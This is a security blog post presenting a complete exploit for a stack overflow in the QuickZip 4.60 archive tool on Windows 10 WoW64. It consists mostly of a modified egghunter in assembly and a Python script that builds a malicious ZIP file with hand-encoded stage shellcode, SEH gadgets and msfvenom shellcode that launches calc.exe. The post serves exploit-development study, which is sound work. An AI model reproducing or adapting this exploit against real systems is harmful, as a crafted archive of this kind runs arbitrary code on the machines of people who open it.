iwantmore.pizza

phra's blog ~ Technical posts about InfoSec

Nov 13, 2019

QuickZip 4.60 - Win10 WoW64 SEH Overflow Exploit

The QuickZip 4.60 SEH Overflow offers a variety of exploitation challenges that we have to overcome in order to pop our beloved calc.exe: we have to deal with a restricted charset to build our stages, jump around due to the limited amount of space available at overflow time and finally we will need an egghunter in order to kick off the execution of a more complex payload.

quickzip

Previous Art

  1. QuickZip 4.x - ‘.zip’ Local Universal Buffer Overflow
  2. QuickZip Stack BOF 0DAY: A Box of Chocolates by @corelanc0d3r
  3. QuickZip 4.60 - Win7 X64 SEH Overflow (Egghunter) With Custom Encoder by @TheKnapsy
  4. QuickZip 4.60.019 SEH Buffer Overflow by @kkirsche

Egg Hunting on Windows 10 WoW64

Since a lot of literature already exists and it shows in very detail all the phases of the exploit development, we will keep the post short and only see the egghunter.

Due to the stack conditions at execution time, the egghunter generated with mona.py is not working and it needs to be updated. After few hours of debugging with @stefano_118, we work out a working version of it. I sent out a Pull Request to the project so that the changes can be peer reviewed by the community.

Here you can find the working egghunter for Windows 10 WoW64 that I used in the exploit.

; egghunter win10 wow64
; tested on Microsoft Windows 1809 [Version 10.0.17763.805]
; build it with:
; nasm -felf32 egghunter.asm -o egghunter.o && for i in $(objdump -d ./egghunter.o | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$') ; do echo -ne "\x$i" ; done | msfvenom -p- --arch x86 --platform windows -e x86/alpha_mixed BUFFERREGISTER=eax

BITS 32
global _start
section .text

_start:
    mov    ebx, cs
    cmp    bl, 0x23
    xor    edx, edx
page_invalid:
    or     dx, 0xfff
page_valid:
    xor    ebx, ebx
    inc    edx
    push   ebx ; added
    push   ebx ; added
    push   edx
    push   ebx
    push   ebx
    push   ebx
    push   0x29
    pop    eax
    mov    bl, 0xc0
    call   DWORD [fs:ebx]
    add    esp, 0x0c
    pop    edx
    add    esp, 0x8 ; added
    cmp    al, 0x5
    je     page_invalid
    mov    eax, 0x74303077 ; w00t
    mov    edi, edx
    scasd
    jne    page_valid ; adjusted
    scasd
    jne    page_valid ; adjusted
    jmp    edi

Exploit

#!/usr/bin/python

header_1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")

header_2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")

header_3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")

# msf-pattern_create -l 4064
pattern4064 = "Aa0Aa1...SNIP"

# msf-pattern_create -l 294
pattern294 = "Aa0Aa1...SNIP"

"""
gadgets:

00401554  |. 5E             POP ESI
00401555  |. 5B             POP EBX
00401556  |. C3             RETN

00401580  |. 5E             POP ESI
00401581  |. 5B             POP EBX
00401582  \. C3             RETN

0040159D  |. 5E             POP ESI
0040159E  |. 5B             POP EBX
0040159F  |. C3             RETN

004015B9  |. 5E             POP ESI
004015BA  |. 5B             POP EBX
004015BB  \. C3             RETN

00401641  |. 5E             POP ESI
00401642  |. 5B             POP EBX
00401643  \. C3             RETN

"""

print "[+] Building PoC.."

max_size = 4064
seh_offset = 298
nseh_offset = seh_offset - 4
jmp_offset = 202

#payload = "A" * max_size
#payload = pattern4064 # SEH at 298
#payload = 'A' * nseh_offset

#payload = pattern294

# 0x0019F868
# stage2
# align esp after decoder
# encode and-sub 0x0019F868 into eax; push eax; pop esp;
"""
mov eax, 0x0019F868 # after decoder
push eax
pop esp
"""

# and-sub encode 0x0019F868 into eax # encoded new esp
# push eax # push new esp
# pop esp # align esp after decoder

# set eax to 0
# function and(a, b) { return a & b }
# '0x' + and(0x554e4d4a, 0x2a313235).toString(16).padStart(8, '0') = 0x00000000
#
# metasm > and eax, 0x554e4d4a
stage2 = "\x25\x4a\x4d\x4e\x55"
# metasm > and eax, 0x2a313235
stage2 += "\x25\x35\x32\x31\x2a"

# set eax to 0x0019f868 + 4
# '0x' + sub(sub(sub(0x0, 0x554b7035), 0x55457020), 0x55552743).toString(16).padStart(8, '0') = '0x0019f868'
#
# metasm > sub eax, 0x554b7031
stage2 += "\x2d\x31\x70\x4b\x55"
# metasm > sub eax, 0x55457020
stage2 += "\x2d\x20\x70\x45\x55"
# metasm > sub eax, 0x55552743
stage2 += "\x2d\x43\x27\x55\x55"
# metasm > push eax
stage2 += "\x50"
# metasm > pop esp
stage2 += "\x5c"

# encoded shellcode
# set eax to egghunter addr
# jmp eax
#
# metasm > jmp $-99; nop; nop
# "\xeb\x9b\x90\x90" # 0x90909beb
"""
mov eax, 0x0019f774
mov edx, 0x90909beb # jmp $-99; nop; nop
push edx
--- OR ---
mov eax, 0x0019f774 # addr of egghunter
jmp eax
"""

# and-sub encode 0x9090e0ff into eax # encoded jmp eax
# push eax # write jmp eax after decoder
# and-sub encode 0x0019f774 into eax # egghunter addr in eax
# 
# metasm > jmp eax; nop; nop
# "\xff\xe0\x90\x90"

# set eax to 0
# function and(a, b) { return a & b }
# '0x' + and(0x554e4d4a, 0x2a313235).toString(16).padStart(8, '0') = 0x00000000
#
# metasm > and eax, 0x554e4d4a
stage2 += "\x25\x4a\x4d\x4e\x55"
# metasm > and eax, 0x2a313235
stage2 += "\x25\x35\x32\x31\x2a"

# set eax to 0x9090e0ff
# '0x' + sub(sub(sub(0x0, 0x25257575), 0x25247565), 0x25253427).toString(16).padStart(8, '0') = '0x9090e0ff'
#
# metasm > sub eax, 0x25257575
stage2 += "\x2d\x75\x75\x25\x25"
# metasm > sub eax, 0x25247565
stage2 += "\x2d\x65\x75\x24\x25"
# metasm > sub eax, 0x25253427
stage2 += "\x2d\x27\x34\x25\x25"
# metasm > push eax
stage2 += "\x50"

# set eax to 0
# function and(a, b) { return a & b }
# '0x' + and(0x554e4d4a, 0x2a313235).toString(16).padStart(8, '0') = 0x00000000
# metasm > and eax, 0x554e4d4a
stage2 += "\x25\x4a\x4d\x4e\x55"
# metasm > and eax, 0x2a313235
stage2 += "\x25\x35\x32\x31\x2a"

# set eax to 0x0019f77c
# function sub(a, b) { return Uint32Array.from([a - b])[0] }
# '0x' + sub(sub(sub(0x0, 0x553b7028), 0x55557828), 0x5555203c).toString(16).padStart(8, '0') = '0x0019f774'
#
# metasm > sub eax, 0x553b7028
stage2 += "\x2d\x28\x70\x3b\x55"
# metasm > sub eax, 0x55557828
stage2 += "\x2d\x28\x78\x55\x55"
# metasm > sub eax, 0x5555203c
stage2 += "\x2d\x3c\x20\x55\x55"


# egghunter win10 wow64
# tested on Microsoft Windows 1809 [Version 10.0.17763.805]
# build it with:
# nasm -felf32 egghunter.asm -o egghunter.o && for i in $(objdump -d ./egghunter.o | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$') ; do echo -ne "\x$i" ; done | msfvenom -p- --arch x86 --platform windows -e x86/alpha_mixed BUFFERREGISTER=eax
"""
BITS 32
global _start
section .text

_start:
    mov    ebx, cs
    cmp    bl, 0x23
    xor    edx, edx
page_invalid:
    or     dx, 0xfff
page_valid:
    xor    ebx, ebx
    inc    edx
    push   ebx
    push   ebx
    push   edx
    push   ebx
    push   ebx
    push   ebx
    push   0x29
    pop    eax
    mov    bl, 0xc0
    call   DWORD [fs:ebx]
    add    esp, 0x0c
    pop    edx
    add    esp, 0x8
    cmp    al, 0x5
    je     page_invalid
    mov    eax, 0x74303077 ; w00t
    mov    edi, edx
    scasd
    jne    page_valid
    scasd
    jne    page_valid
    jmp    edi
"""
#x86/alpha_mixed succeeded with size 164 (iteration=0)
#x86/alpha_mixed chosen with final size 164
#Payload size: 164 bytes
egghunter = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJILLjkmPIkFC4qiBavK1KziovoeaYK72CcF3rrpSccRsPjTibxnSkpPdyouCLCktflqJncYT7xwLwuBTIOMhqgp0p0QdMYHWLoRUKjnO1eHWYoiwAA"
egghunter_address = '\x76\xf7\x19\x00' # 0019F77e 50 PUSH EAX

# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\0xd' -f python EXITFUNC=seh -v egg
# [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# [-] No arch selected, selecting arch: x86 from the payload
# Found 11 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
# Attempting to encode payload with 1 iterations of generic/none
# generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
# Attempting to encode payload with 1 iterations of x86/call4_dword_xor
# x86/call4_dword_xor succeeded with size 220 (iteration=0)
# x86/call4_dword_xor chosen with final size 220
# Payload size: 220 bytes
# Final size of python file: 1078 bytes
egg = "w00tw00t"
#egg += "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
egg += "\x81\xe4\xf0\xff\xff\xff" # and esp, 0xfffffff0 ; align stack
egg += "\xb8\x5d\x75\x2f\x09\xd9\xd0\xd9\x74\x24\xf4\x5f\x29"
egg += "\xc9\xb1\x31\x31\x47\x13\x83\xef\xfc\x03\x47\x52\x97"
egg += "\xda\xf5\x84\xd5\x25\x06\x54\xba\xac\xe3\x65\xfa\xcb"
egg += "\x60\xd5\xca\x98\x25\xd9\xa1\xcd\xdd\x6a\xc7\xd9\xd2"
egg += "\xdb\x62\x3c\xdc\xdc\xdf\x7c\x7f\x5e\x22\x51\x5f\x5f"
egg += "\xed\xa4\x9e\x98\x10\x44\xf2\x71\x5e\xfb\xe3\xf6\x2a"
egg += "\xc0\x88\x44\xba\x40\x6c\x1c\xbd\x61\x23\x17\xe4\xa1"
egg += "\xc5\xf4\x9c\xeb\xdd\x19\x98\xa2\x56\xe9\x56\x35\xbf"
egg += "\x20\x96\x9a\xfe\x8d\x65\xe2\xc7\x29\x96\x91\x31\x4a"
egg += "\x2b\xa2\x85\x31\xf7\x27\x1e\x91\x7c\x9f\xfa\x20\x50"
egg += "\x46\x88\x2e\x1d\x0c\xd6\x32\xa0\xc1\x6c\x4e\x29\xe4"
egg += "\xa2\xc7\x69\xc3\x66\x8c\x2a\x6a\x3e\x68\x9c\x93\x20"
egg += "\xd3\x41\x36\x2a\xf9\x96\x4b\x71\x97\x69\xd9\x0f\xd5"
egg += "\x6a\xe1\x0f\x49\x03\xd0\x84\x06\x54\xed\x4e\x63\xa4"
egg += "\x1c\x43\x79\x31\x87\x36\xc0\x5f\x38\xed\x06\x66\xbb"
egg += "\x04\xf6\x9d\xa3\x6c\xf3\xda\x63\x9c\x89\x73\x06\xa2"
egg += "\x3e\x73\x03\xc1\xa1\xe7\xcf\x28\x44\x80\x6a\x35"


# \x46 => inc esi as NOPs
payload = '\x46' * (jmp_offset - len(egghunter))
payload += egghunter # will be loaded at 0019F77e
# payload += 'BBBB'
payload += stage2
payload += 'C' * (nseh_offset - len(payload))
payload += '\x74\x9b\x90\x90' # nSEH , jz $-99 ===BADCHARS===> jz $-92 
#00401641  |. 5E             POP ESI
#00401642  |. 5B             POP EBX
#00401643  \. C3             RETN
payload += '\x41\x16\x40\x00' # SEH 00401641 POP-POP-RET
payload += 'D' * (max_size - len(payload)) # egg length
payload += ".txt"

print "[+] Length = " + str(len(payload))

exploit = header_1 + payload + header_2 + payload + header_3 + egg

mefile = open('exploit.zip','w')
mefile.write(exploit)
mefile.close()

print "[+] Exploit complete!"

back